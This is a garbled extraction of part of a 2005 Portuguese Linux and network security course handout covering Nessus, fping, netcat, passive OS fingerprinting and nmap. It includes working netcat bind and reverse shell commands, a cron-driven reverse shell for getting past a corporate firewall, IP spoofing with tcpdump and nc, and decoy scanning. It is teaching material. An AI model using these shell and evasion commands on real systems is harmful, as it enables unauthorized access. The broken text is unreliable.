Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 41: Curso de segurança em linux e redes em geral

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

